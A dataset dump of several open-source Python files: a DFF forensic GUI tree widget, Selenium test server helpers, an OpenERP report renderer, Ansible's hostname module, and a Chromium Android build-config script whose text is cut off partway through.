repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringlengths
1
5
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
elthariel/dff
api/gui/widget/nodetree.py
1
4524
# DFF -- An Open Source Digital Forensics Framework # Copyright (C) 2009-2010 ArxSys # This program is free software, distributed under the terms of # the GNU General Public License Version 2. See the LICENSE file # at the top of the source tree. # # See http://www.digital-forensic.org for more information about this # project. Please do not directly contact any of the maintainers of # DFF for assistance; the project provides a web site, mailing lists # and IRC channels for your use. # # Author(s): # Francois Percot <[email protected]> # from PyQt4.QtGui import QApplication, QDockWidget, QHBoxLayout, QWidget from PyQt4.QtCore import QModelIndex, QReadWriteLock, QSize, Qt, SIGNAL from api.taskmanager import * from api.vfs.libvfs import * from api.gui.itemview.treeitemmodel import TreeItemModel from api.gui.itemview.treeview import TreeView from ui.gui.vfs.docknodelist import DockNodeList from ui.gui.wrapper.connectorCallback import ConnectorCallback class NodeTree(): class __NodeTree(QWidget): def __init__(self, mainWindow): QWidget.__init__(self, mainWindow) self.__mainWindow = mainWindow #self.__action = action self.sched = scheduler.sched self.vfs = VFS.Get() self.__listFiles = [] self.childSelected = None self.childSelectedLock = QReadWriteLock() self.configure() self.g_display() self.initCallback() def configure(self): self.setObjectName("Browser") self.resize(300, 300) def g_display(self): self.layout = QHBoxLayout(self) # Browser tmp = ["Virtual File System"] self.treeItemModel = TreeItemModel(tmp) self.treeView = TreeView(self, self.__mainWindow, self.treeItemModel) self.layout.addWidget(self.treeView) # Set Model and Resize self.treeView.setModel(self.treeItemModel) self.treeItemModel.addRootVFS() self.treeItemModel.fillAllDirectory(self.treeItemModel.rootItemVFS) self.treeItemModel.reset() self.treeView.resizeAllColumn() self.treeView.setCurrentIndex(self.treeItemModel.createIndex(self.treeItemModel.rootItemVFS.childNumber(), 0, self.treeItemModel.rootItemVFS)) def initCallback(self): self.connect(self, SIGNAL("refreshNodeView"), self.refreshNodeView) self.sched.set_callback("refresh_tree", self.refreshNode) self.vfs.set_callback("refresh_tree", self.refreshNode) def refreshNode(self, node): index = self.treeView.currentIndex() isExpanded = self.treeView.isExpanded(index) item = self.treeItemModel.getItemWithPath(node.absolute()) self.treeItemModel.fillAllDirectory(self.treeItemModel.rootItemVFS) self.treeItemModel.reset() self.emit(SIGNAL("refreshNodeView"), index, isExpanded) self.emit(SIGNAL("reloadNodeView")) def refreshNodeView(self, index, isExpanded): self.treeView.expandAllIndex(index) self.treeView.setCurrentIndex(index) self.treeView.setExpanded(index, isExpanded) def setChild(self, child): if self.childSelectedLock.tryLockForWrite() : self.childSelected = child self.childSelectedLock.unlock() def getChild(self): if self.childSelectedLock.tryLockForRead(): tmp = self.childSelected self.childSelectedLock.unlock() return tmp def addList(self): dockList = DockNodeList(self.__mainWindow, self, len(self.__listFiles)) self.__listFiles.append(dockList) self.__mainWindow.addNewDockWidgetTab(Qt.RightDockWidgetArea, dockList) dockList.initContents(self.treeView.getCurrentItem().node, self.treeView.currentIndex()) return dockList instance = None def __init__(self, mainWindow = None): if not NodeTree.instance : if mainWindow : NodeTree.instance = NodeTree.__NodeTree(mainWindow) def __getattr__(self, attr): return getattr(self.instance, attr) def __setattr__(self, attr, val): return setattr(self.instance, attr, val)
gpl-2.0
petruc/selenium
py/test/selenium/common/utils.py
65
2074
# Licensed to the Software Freedom Conservancy (SFC) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The SFC licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import os import socket import time import urllib import subprocess import signal SERVER_ADDR = "localhost" DEFAULT_PORT = 4444 SERVER_PATH = "build/java/server/src/org/openqa/grid/selenium/selenium-standalone.jar" def start_server(module): _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) url = "http://%s:%d/wd/hub" % (SERVER_ADDR, DEFAULT_PORT) try: _socket.connect((SERVER_ADDR, DEFAULT_PORT)) print("The remote driver server is already running or something else" "is using port %d, continuing..." % DEFAULT_PORT) except: print("Starting the remote driver server") module.server_proc = subprocess.Popen( "java -jar %s" % SERVER_PATH, shell=True) assert wait_for_server(url, 10), "can't connect" print("Server should be online") def wait_for_server(url, timeout): start = time.time() while time.time() - start < timeout: try: urllib.urlopen(url) return 1 except IOError: time.sleep(0.2) return 0 def stop_server(module): # FIXME: This does not seem to work, the server process lingers try: os.kill(module.server_proc.pid, signal.SIGTERM) time.sleep(5) except: pass
apache-2.0
Danisan/odoo-1
openerp/report/render/odt2odt/odt2odt.py
443
2265
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp.report.render.rml2pdf import utils import copy class odt2odt(object): def __init__(self, odt, localcontext): self.localcontext = localcontext self.etree = odt self._node = None def render(self): def process_text(node,new_node): for child in utils._child_get(node, self): new_child = copy.deepcopy(child) new_node.append(new_child) if len(child): for n in new_child: new_child.text = utils._process_text(self, child.text) new_child.tail = utils._process_text(self, child.tail) new_child.remove(n) process_text(child, new_child) else: new_child.text = utils._process_text(self, child.text) new_child.tail = utils._process_text(self, child.tail) self._node = copy.deepcopy(self.etree) for n in self._node: self._node.remove(n) process_text(self.etree, self._node) return self._node def parseNode(node, localcontext = {}): r = odt2odt(node, localcontext) return r.render() # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
ptisserand/ansible
lib/ansible/modules/system/hostname.py
34
24853
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2013, Hiroaki Nakamura <[email protected]> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: hostname author: - Adrian Likins (@alikins) - Hideki Saito (@saito-hideki) version_added: "1.4" short_description: Manage hostname requirements: [ hostname ] description: - Set system's hostname, supports most OSs/Distributions, including those using systemd. - Note, this module does *NOT* modify C(/etc/hosts). You need to modify it yourself using other modules like template or replace. - Windows, HP-UX and AIX are not currently supported. options: name: description: - Name of the host required: true ''' EXAMPLES = ''' - hostname: name: web01 ''' import os import socket import traceback from ansible.module_utils.basic import ( AnsibleModule, get_distribution, get_distribution_version, get_platform, load_platform_subclass, ) from ansible.module_utils.facts.system.service_mgr import ServiceMgrFactCollector from ansible.module_utils._text import to_native class UnimplementedStrategy(object): def __init__(self, module): self.module = module def update_current_and_permanent_hostname(self): self.unimplemented_error() def update_current_hostname(self): self.unimplemented_error() def update_permanent_hostname(self): self.unimplemented_error() def get_current_hostname(self): self.unimplemented_error() def set_current_hostname(self, name): self.unimplemented_error() def get_permanent_hostname(self): self.unimplemented_error() def set_permanent_hostname(self, name): self.unimplemented_error() def unimplemented_error(self): platform = get_platform() distribution = get_distribution() if distribution is not None: msg_platform = '%s (%s)' % (platform, distribution) else: msg_platform = platform self.module.fail_json( msg='hostname module cannot be used on platform %s' % msg_platform) class Hostname(object): """ This is a generic Hostname manipulation class that is subclassed based on platform. A subclass may wish to set different strategy instance to self.strategy. All subclasses MUST define platform and distribution (which may be None). """ platform = 'Generic' distribution = None strategy_class = UnimplementedStrategy def __new__(cls, *args, **kwargs): return load_platform_subclass(Hostname, args, kwargs) def __init__(self, module): self.module = module self.name = module.params['name'] if self.platform == 'Linux' and ServiceMgrFactCollector.is_systemd_managed(module): self.strategy = SystemdStrategy(module) else: self.strategy = self.strategy_class(module) def update_current_and_permanent_hostname(self): return self.strategy.update_current_and_permanent_hostname() def get_current_hostname(self): return self.strategy.get_current_hostname() def set_current_hostname(self, name): self.strategy.set_current_hostname(name) def get_permanent_hostname(self): return self.strategy.get_permanent_hostname() def set_permanent_hostname(self, name): self.strategy.set_permanent_hostname(name) class GenericStrategy(object): """ This is a generic Hostname manipulation strategy class. A subclass may wish to override some or all of these methods. - get_current_hostname() - get_permanent_hostname() - set_current_hostname(name) - set_permanent_hostname(name) """ def __init__(self, module): self.module = module self.hostname_cmd = self.module.get_bin_path('hostname', True) self.changed = False def update_current_and_permanent_hostname(self): self.update_current_hostname() self.update_permanent_hostname() return self.changed def update_current_hostname(self): name = self.module.params['name'] current_name = self.get_current_hostname() if current_name != name: if not self.module.check_mode: self.set_current_hostname(name) self.changed = True def update_permanent_hostname(self): name = self.module.params['name'] permanent_name = self.get_permanent_hostname() if permanent_name != name: if not self.module.check_mode: self.set_permanent_hostname(name) self.changed = True def get_current_hostname(self): cmd = [self.hostname_cmd] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) return to_native(out).strip() def set_current_hostname(self, name): cmd = [self.hostname_cmd, name] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) def get_permanent_hostname(self): return None def set_permanent_hostname(self, name): pass class DebianStrategy(GenericStrategy): """ This is a Debian family Hostname manipulation strategy class - it edits the /etc/hostname file. """ HOSTNAME_FILE = '/etc/hostname' def get_permanent_hostname(self): if not os.path.isfile(self.HOSTNAME_FILE): try: open(self.HOSTNAME_FILE, "a").write("") except IOError as e: self.module.fail_json(msg="failed to write file: %s" % to_native(e), exception=traceback.format_exc()) try: f = open(self.HOSTNAME_FILE) try: return f.read().strip() finally: f.close() except Exception as e: self.module.fail_json(msg="failed to read hostname: %s" % to_native(e), exception=traceback.format_exc()) def set_permanent_hostname(self, name): try: f = open(self.HOSTNAME_FILE, 'w+') try: f.write("%s\n" % name) finally: f.close() except Exception as e: self.module.fail_json(msg="failed to update hostname: %s" % to_native(e), exception=traceback.format_exc()) class SLESStrategy(GenericStrategy): """ This is a SLES Hostname strategy class - it edits the /etc/HOSTNAME file. """ HOSTNAME_FILE = '/etc/HOSTNAME' def get_permanent_hostname(self): if not os.path.isfile(self.HOSTNAME_FILE): try: open(self.HOSTNAME_FILE, "a").write("") except IOError as e: self.module.fail_json(msg="failed to write file: %s" % to_native(e), exception=traceback.format_exc()) try: f = open(self.HOSTNAME_FILE) try: return f.read().strip() finally: f.close() except Exception as e: self.module.fail_json(msg="failed to read hostname: %s" % to_native(e), exception=traceback.format_exc()) def set_permanent_hostname(self, name): try: f = open(self.HOSTNAME_FILE, 'w+') try: f.write("%s\n" % name) finally: f.close() except Exception as e: self.module.fail_json(msg="failed to update hostname: %s" % to_native(e), exception=traceback.format_exc()) class RedHatStrategy(GenericStrategy): """ This is a Redhat Hostname strategy class - it edits the /etc/sysconfig/network file. """ NETWORK_FILE = '/etc/sysconfig/network' def get_permanent_hostname(self): try: f = open(self.NETWORK_FILE, 'rb') try: for line in f.readlines(): if line.startswith('HOSTNAME'): k, v = line.split('=') return v.strip() finally: f.close() except Exception as e: self.module.fail_json(msg="failed to read hostname: %s" % to_native(e), exception=traceback.format_exc()) def set_permanent_hostname(self, name): try: lines = [] found = False f = open(self.NETWORK_FILE, 'rb') try: for line in f.readlines(): if line.startswith('HOSTNAME'): lines.append("HOSTNAME=%s\n" % name) found = True else: lines.append(line) finally: f.close() if not found: lines.append("HOSTNAME=%s\n" % name) f = open(self.NETWORK_FILE, 'w+') try: f.writelines(lines) finally: f.close() except Exception as e: self.module.fail_json(msg="failed to update hostname: %s" % to_native(e), exception=traceback.format_exc()) class AlpineStrategy(GenericStrategy): """ This is a Alpine Linux Hostname manipulation strategy class - it edits the /etc/hostname file then run hostname -F /etc/hostname. """ HOSTNAME_FILE = '/etc/hostname' def update_current_and_permanent_hostname(self): self.update_permanent_hostname() self.update_current_hostname() return self.changed def get_permanent_hostname(self): if not os.path.isfile(self.HOSTNAME_FILE): try: open(self.HOSTNAME_FILE, "a").write("") except IOError as e: self.module.fail_json(msg="failed to write file: %s" % to_native(e), exception=traceback.format_exc()) try: f = open(self.HOSTNAME_FILE) try: return f.read().strip() finally: f.close() except Exception as e: self.module.fail_json(msg="failed to read hostname: %s" % to_native(e), exception=traceback.format_exc()) def set_permanent_hostname(self, name): try: f = open(self.HOSTNAME_FILE, 'w+') try: f.write("%s\n" % name) finally: f.close() except Exception as e: self.module.fail_json(msg="failed to update hostname: %s" % to_native(e), exception=traceback.format_exc()) def set_current_hostname(self, name): cmd = [self.hostname_cmd, '-F', self.HOSTNAME_FILE] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) class SystemdStrategy(GenericStrategy): """ This is a Systemd hostname manipulation strategy class - it uses the hostnamectl command. """ def get_current_hostname(self): cmd = ['hostname'] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) return to_native(out).strip() def set_current_hostname(self, name): if len(name) > 64: self.module.fail_json(msg="name cannot be longer than 64 characters on systemd servers, try a shorter name") cmd = ['hostnamectl', '--transient', 'set-hostname', name] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) def get_permanent_hostname(self): cmd = ['hostnamectl', '--static', 'status'] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) return to_native(out).strip() def set_permanent_hostname(self, name): if len(name) > 64: self.module.fail_json(msg="name cannot be longer than 64 characters on systemd servers, try a shorter name") cmd = ['hostnamectl', '--pretty', 'set-hostname', name] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) cmd = ['hostnamectl', '--static', 'set-hostname', name] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) class OpenRCStrategy(GenericStrategy): """ This is a Gentoo (OpenRC) Hostname manipulation strategy class - it edits the /etc/conf.d/hostname file. """ HOSTNAME_FILE = '/etc/conf.d/hostname' def get_permanent_hostname(self): try: try: f = open(self.HOSTNAME_FILE, 'r') for line in f: line = line.strip() if line.startswith('hostname='): return line[10:].strip('"') except Exception as e: self.module.fail_json(msg="failed to read hostname: %s" % to_native(e), exception=traceback.format_exc()) finally: f.close() return None def set_permanent_hostname(self, name): try: try: f = open(self.HOSTNAME_FILE, 'r') lines = [x.strip() for x in f] for i, line in enumerate(lines): if line.startswith('hostname='): lines[i] = 'hostname="%s"' % name break f.close() f = open(self.HOSTNAME_FILE, 'w') f.write('\n'.join(lines) + '\n') except Exception as e: self.module.fail_json(msg="failed to update hostname: %s" % to_native(e), exception=traceback.format_exc()) finally: f.close() class OpenBSDStrategy(GenericStrategy): """ This is a OpenBSD family Hostname manipulation strategy class - it edits the /etc/myname file. """ HOSTNAME_FILE = '/etc/myname' def get_permanent_hostname(self): if not os.path.isfile(self.HOSTNAME_FILE): try: open(self.HOSTNAME_FILE, "a").write("") except IOError as e: self.module.fail_json(msg="failed to write file: %s" % to_native(e), exception=traceback.format_exc()) try: f = open(self.HOSTNAME_FILE) try: return f.read().strip() finally: f.close() except Exception as e: self.module.fail_json(msg="failed to read hostname: %s" % to_native(e), exception=traceback.format_exc()) def set_permanent_hostname(self, name): try: f = open(self.HOSTNAME_FILE, 'w+') try: f.write("%s\n" % name) finally: f.close() except Exception as e: self.module.fail_json(msg="failed to update hostname: %s" % to_native(e), exception=traceback.format_exc()) class SolarisStrategy(GenericStrategy): """ This is a Solaris11 or later Hostname manipulation strategy class - it execute hostname command. """ def set_current_hostname(self, name): cmd_option = '-t' cmd = [self.hostname_cmd, cmd_option, name] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) def get_permanent_hostname(self): fmri = 'svc:/system/identity:node' pattern = 'config/nodename' cmd = '/usr/sbin/svccfg -s %s listprop -o value %s' % (fmri, pattern) rc, out, err = self.module.run_command(cmd, use_unsafe_shell=True) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) return to_native(out).strip() def set_permanent_hostname(self, name): cmd = [self.hostname_cmd, name] rc, out, err = self.module.run_command(cmd) if rc != 0: self.module.fail_json(msg="Command failed rc=%d, out=%s, err=%s" % (rc, out, err)) class FreeBSDStrategy(GenericStrategy): """ This is a FreeBSD hostname manipulation strategy class - it edits the /etc/rc.conf.d/hostname file. """ HOSTNAME_FILE = '/etc/rc.conf.d/hostname' def get_permanent_hostname(self): if not os.path.isfile(self.HOSTNAME_FILE): try: open(self.HOSTNAME_FILE, "a").write("hostname=temporarystub\n") except IOError as e: self.module.fail_json(msg="failed to write file: %s" % to_native(e), exception=traceback.format_exc()) try: try: f = open(self.HOSTNAME_FILE, 'r') for line in f: line = line.strip() if line.startswith('hostname='): return line[10:].strip('"') except Exception as e: self.module.fail_json(msg="failed to read hostname: %s" % to_native(e), exception=traceback.format_exc()) finally: f.close() return None def set_permanent_hostname(self, name): try: try: f = open(self.HOSTNAME_FILE, 'r') lines = [x.strip() for x in f] for i, line in enumerate(lines): if line.startswith('hostname='): lines[i] = 'hostname="%s"' % name break f.close() f = open(self.HOSTNAME_FILE, 'w') f.write('\n'.join(lines) + '\n') except Exception as e: self.module.fail_json(msg="failed to update hostname: %s" % to_native(e), exception=traceback.format_exc()) finally: f.close() class FedoraHostname(Hostname): platform = 'Linux' distribution = 'Fedora' strategy_class = SystemdStrategy class SLESHostname(Hostname): platform = 'Linux' distribution = 'Suse linux enterprise server ' try: distribution_version = get_distribution_version() # cast to float may raise ValueError on non SLES, we use float for a little more safety over int if distribution_version and 10 <= float(distribution_version) <= 12: strategy_class = SLESStrategy else: raise ValueError() except ValueError: strategy_class = UnimplementedStrategy class OpenSUSEHostname(Hostname): platform = 'Linux' distribution = 'Opensuse ' strategy_class = SystemdStrategy class ArchHostname(Hostname): platform = 'Linux' distribution = 'Arch' strategy_class = SystemdStrategy class RedHat5Hostname(Hostname): platform = 'Linux' distribution = 'Redhat' strategy_class = RedHatStrategy class RHELHostname(Hostname): platform = 'Linux' distribution = 'Red hat enterprise linux' strategy_class = RedHatStrategy class RedHatServerHostname(Hostname): platform = 'Linux' distribution = 'Red hat enterprise linux server' strategy_class = RedHatStrategy class RedHatWorkstationHostname(Hostname): platform = 'Linux' distribution = 'Red hat enterprise linux workstation' strategy_class = RedHatStrategy class RedHatAtomicHostname(Hostname): platform = 'Linux' distribution = 'Red hat enterprise linux atomic host' strategy_class = RedHatStrategy class CentOSHostname(Hostname): platform = 'Linux' distribution = 'Centos' strategy_class = RedHatStrategy class CentOSLinuxHostname(Hostname): platform = 'Linux' distribution = 'Centos linux' strategy_class = RedHatStrategy class CloudlinuxHostname(Hostname): platform = 'Linux' distribution = 'Cloudlinux' strategy_class = RedHatStrategy class CloudlinuxServerHostname(Hostname): platform = 'Linux' distribution = 'Cloudlinux server' strategy_class = RedHatStrategy class ScientificHostname(Hostname): platform = 'Linux' distribution = 'Scientific' strategy_class = RedHatStrategy class ScientificLinuxHostname(Hostname): platform = 'Linux' distribution = 'Scientific linux' strategy_class = RedHatStrategy class ScientificLinuxCERNHostname(Hostname): platform = 'Linux' distribution = 'Scientific linux cern slc' strategy_class = RedHatStrategy class OracleLinuxHostname(Hostname): platform = 'Linux' distribution = 'Oracle linux server' strategy_class = RedHatStrategy class VirtuozzoLinuxHostname(Hostname): platform = 'Linux' distribution = 'Virtuozzo linux' strategy_class = RedHatStrategy class AmazonLinuxHostname(Hostname): platform = 'Linux' distribution = 'Amazon' strategy_class = RedHatStrategy class DebianHostname(Hostname): platform = 'Linux' distribution = 'Debian' strategy_class = DebianStrategy class KaliHostname(Hostname): platform = 'Linux' distribution = 'Kali' strategy_class = DebianStrategy class UbuntuHostname(Hostname): platform = 'Linux' distribution = 'Ubuntu' strategy_class = DebianStrategy class LinuxmintHostname(Hostname): platform = 'Linux' distribution = 'Linuxmint' strategy_class = DebianStrategy class LinaroHostname(Hostname): platform = 'Linux' distribution = 'Linaro' strategy_class = DebianStrategy class DevuanHostname(Hostname): platform = 'Linux' distribution = 'Devuan' strategy_class = DebianStrategy class GentooHostname(Hostname): platform = 'Linux' distribution = 'Gentoo base system' strategy_class = OpenRCStrategy class ALTLinuxHostname(Hostname): platform = 'Linux' distribution = 'Altlinux' strategy_class = RedHatStrategy class AlpineLinuxHostname(Hostname): platform = 'Linux' distribution = 'Alpine' strategy_class = AlpineStrategy class OpenBSDHostname(Hostname): platform = 'OpenBSD' distribution = None strategy_class = OpenBSDStrategy class SolarisHostname(Hostname): platform = 'SunOS' distribution = None strategy_class = SolarisStrategy class FreeBSDHostname(Hostname): platform = 'FreeBSD' distribution = None strategy_class = FreeBSDStrategy class NetBSDHostname(Hostname): platform = 'NetBSD' distribution = None strategy_class = FreeBSDStrategy class NeonHostname(Hostname): platform = 'Linux' distribution = 'Neon' strategy_class = DebianStrategy def main(): module = AnsibleModule( argument_spec=dict( name=dict(required=True) ), supports_check_mode=True, ) hostname = Hostname(module) name = module.params['name'] current_hostname = hostname.get_current_hostname() permanent_hostname = hostname.get_permanent_hostname() changed = hostname.update_current_and_permanent_hostname() if name != current_hostname: name_before = current_hostname elif name != permanent_hostname: name_before = permanent_hostname kw = dict(changed=changed, name=name, ansible_facts=dict(ansible_hostname=name.split('.')[0], ansible_nodename=name, ansible_fqdn=socket.getfqdn(), ansible_domain='.'.join(socket.getfqdn().split('.')[1:]))) if changed: kw['diff'] = {'after': 'hostname = ' + name + '\n', 'before': 'hostname = ' + name_before + '\n'} module.exit_json(**kw) if __name__ == '__main__': main()
gpl-3.0
afandria/sky_engine
build/android/gyp/write_build_config.py
29
13869
#!/usr/bin/env python # # Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Writes a build_config file. The build_config file for a target is a json file containing information about how to build that target based on the target's dependencies. This includes things like: the javac classpath, the list of android resources dependencies, etc. It also includes the information needed to create the build_config for other targets that depend on that one. Android build scripts should not refer to the build_config directly, and the build specification should instead pass information in using the special file-arg syntax (see build_utils.py:ExpandFileArgs). That syntax allows passing of values in a json dict in a file and looks like this: --python-arg=@FileArg(build_config_path:javac:classpath) Note: If paths to input files are passed in this way, it is important that: 1. inputs/deps of the action ensure that the files are available the first time the action runs. 2. Either (a) or (b) a. inputs/deps ensure that the action runs whenever one of the files changes b. the files are added to the action's depfile """ import optparse import os import sys import xml.dom.minidom from util import build_utils import write_ordered_libraries class AndroidManifest(object): def __init__(self, path): self.path = path dom = xml.dom.minidom.parse(path) manifests = dom.getElementsByTagName('manifest') assert len(manifests) == 1 self.manifest = manifests[0] def GetInstrumentation(self): instrumentation_els = self.manifest.getElementsByTagName('instrumentation') if len(instrumentation_els) == 0: return None if len(instrumentation_els) != 1: raise Exception( 'More than one <instrumentation> element found in %s' % self.path) return instrumentation_els[0] def CheckInstrumentation(self, expected_package): instr = self.GetInstrumentation() if not instr: raise Exception('No <instrumentation> elements found in %s' % self.path) instrumented_package = instr.getAttributeNS( 'http://schemas.android.com/apk/res/android', 'targetPackage') if instrumented_package != expected_package: raise Exception( 'Wrong instrumented package. Expected %s, got %s' % (expected_package, instrumented_package)) def GetPackageName(self): return self.manifest.getAttribute('package') dep_config_cache = {} def GetDepConfig(path): if not path in dep_config_cache: dep_config_cache[path] = build_utils.ReadJson(path)['deps_info'] return dep_config_cache[path] def DepsOfType(wanted_type, configs): return [c for c in configs if c['type'] == wanted_type] def GetAllDepsConfigsInOrder(deps_config_paths): def GetDeps(path): return set(GetDepConfig(path)['deps_configs']) return build_utils.GetSortedTransitiveDependencies(deps_config_paths, GetDeps) class Deps(object): def __init__(self, direct_deps_config_paths): self.all_deps_config_paths = GetAllDepsConfigsInOrder( direct_deps_config_paths) self.direct_deps_configs = [ GetDepConfig(p) for p in direct_deps_config_paths] self.all_deps_configs = [ GetDepConfig(p) for p in self.all_deps_config_paths] def All(self, wanted_type=None): if type is None: return self.all_deps_configs return DepsOfType(wanted_type, self.all_deps_configs) def Direct(self, wanted_type=None): if wanted_type is None: return self.direct_deps_configs return DepsOfType(wanted_type, self.direct_deps_configs) def AllConfigPaths(self): return self.all_deps_config_paths def main(argv): parser = optparse.OptionParser() build_utils.AddDepfileOption(parser) parser.add_option('--build-config', help='Path to build_config output.') parser.add_option( '--type', help='Type of this target (e.g. android_library).') parser.add_option( '--possible-deps-configs', help='List of paths for dependency\'s build_config files. Some ' 'dependencies may not write build_config files. Missing build_config ' 'files are handled differently based on the type of this target.') # android_resources options parser.add_option('--srcjar', help='Path to target\'s resources srcjar.') parser.add_option('--resources-zip', help='Path to target\'s resources zip.') parser.add_option('--r-text', help='Path to target\'s R.txt file.') parser.add_option('--package-name', help='Java package name for these resources.') parser.add_option('--android-manifest', help='Path to android manifest.') # java library options parser.add_option('--jar-path', help='Path to target\'s jar output.') parser.add_option('--supports-android', action='store_true', help='Whether this library supports running on the Android platform.') parser.add_option('--requires-android', action='store_true', help='Whether this library requires running on the Android platform.') parser.add_option('--bypass-platform-checks', action='store_true', help='Bypass checks for support/require Android platform.') # android library options parser.add_option('--dex-path', help='Path to target\'s dex output.') # native library options parser.add_option('--native-libs', help='List of top-level native libs.') parser.add_option('--readelf-path', help='Path to toolchain\'s readelf.') parser.add_option('--tested-apk-config', help='Path to the build config of the tested apk (for an instrumentation ' 'test apk).') options, args = parser.parse_args(argv) if args: parser.error('No positional arguments should be given.') if not options.type in [ 'java_library', 'android_resources', 'android_apk', 'deps_dex']: raise Exception('Unknown type: <%s>' % options.type) required_options = ['build_config'] + { 'java_library': ['jar_path'], 'android_resources': ['resources_zip'], 'android_apk': ['jar_path', 'dex_path', 'resources_zip'], 'deps_dex': ['dex_path'] }[options.type] if options.native_libs: required_options.append('readelf_path') build_utils.CheckOptions(options, parser, required_options) if options.type == 'java_library': if options.supports_android and not options.dex_path: raise Exception('java_library that supports Android requires a dex path.') if options.requires_android and not options.supports_android: raise Exception( '--supports-android is required when using --requires-android') possible_deps_config_paths = build_utils.ParseGypList( options.possible_deps_configs) allow_unknown_deps = (options.type == 'android_apk' or options.type == 'android_resources') unknown_deps = [ c for c in possible_deps_config_paths if not os.path.exists(c)] if unknown_deps and not allow_unknown_deps: raise Exception('Unknown deps: ' + str(unknown_deps)) direct_deps_config_paths = [ c for c in possible_deps_config_paths if not c in unknown_deps] deps = Deps(direct_deps_config_paths) direct_library_deps = deps.Direct('java_library') all_library_deps = deps.All('java_library') direct_resources_deps = deps.Direct('android_resources') all_resources_deps = deps.All('android_resources') # Resources should be ordered with the highest-level dependency first so that # overrides are done correctly. all_resources_deps.reverse() if options.type == 'android_apk' and options.tested_apk_config: tested_apk_deps = Deps([options.tested_apk_config]) tested_apk_resources_deps = tested_apk_deps.All('android_resources') all_resources_deps = [ d for d in all_resources_deps if not d in tested_apk_resources_deps] # Initialize some common config. config = { 'deps_info': { 'name': os.path.basename(options.build_config), 'path': options.build_config, 'type': options.type, 'deps_configs': direct_deps_config_paths, } } deps_info = config['deps_info'] if options.type == 'java_library' and not options.bypass_platform_checks: deps_info['requires_android'] = options.requires_android deps_info['supports_android'] = options.supports_android deps_require_android = (all_resources_deps + [d['name'] for d in all_library_deps if d['requires_android']]) deps_not_support_android = ( [d['name'] for d in all_library_deps if not d['supports_android']]) if deps_require_android and not options.requires_android: raise Exception('Some deps require building for the Android platform: ' + str(deps_require_android)) if deps_not_support_android and options.supports_android: raise Exception('Not all deps support the Android platform: ' + str(deps_not_support_android)) if options.type in ['java_library', 'android_apk']: javac_classpath = [c['jar_path'] for c in direct_library_deps] java_full_classpath = [c['jar_path'] for c in all_library_deps] deps_info['resources_deps'] = [c['path'] for c in all_resources_deps] deps_info['jar_path'] = options.jar_path if options.type == 'android_apk' or options.supports_android: deps_info['dex_path'] = options.dex_path config['javac'] = { 'classpath': javac_classpath, } config['java'] = { 'full_classpath': java_full_classpath } if options.type == 'java_library': # Only resources might have srcjars (normal srcjar targets are listed in # srcjar_deps). A resource's srcjar contains the R.java file for those # resources, and (like Android's default build system) we allow a library to # refer to the resources in any of its dependents. config['javac']['srcjars'] = [ c['srcjar'] for c in direct_resources_deps if 'srcjar' in c] if options.type == 'android_apk': # Apks will get their resources srcjar explicitly passed to the java step. config['javac']['srcjars'] = [] if options.type == 'android_resources': deps_info['resources_zip'] = options.resources_zip if options.srcjar: deps_info['srcjar'] = options.srcjar if options.android_manifest: manifest = AndroidManifest(options.android_manifest) deps_info['package_name'] = manifest.GetPackageName() if options.package_name: deps_info['package_name'] = options.package_name if options.r_text: deps_info['r_text'] = options.r_text if options.type == 'android_resources' or options.type == 'android_apk': config['resources'] = {} config['resources']['dependency_zips'] = [ c['resources_zip'] for c in all_resources_deps] config['resources']['extra_package_names'] = [] config['resources']['extra_r_text_files'] = [] if options.type == 'android_apk': config['resources']['extra_package_names'] = [ c['package_name'] for c in all_resources_deps if 'package_name' in c] 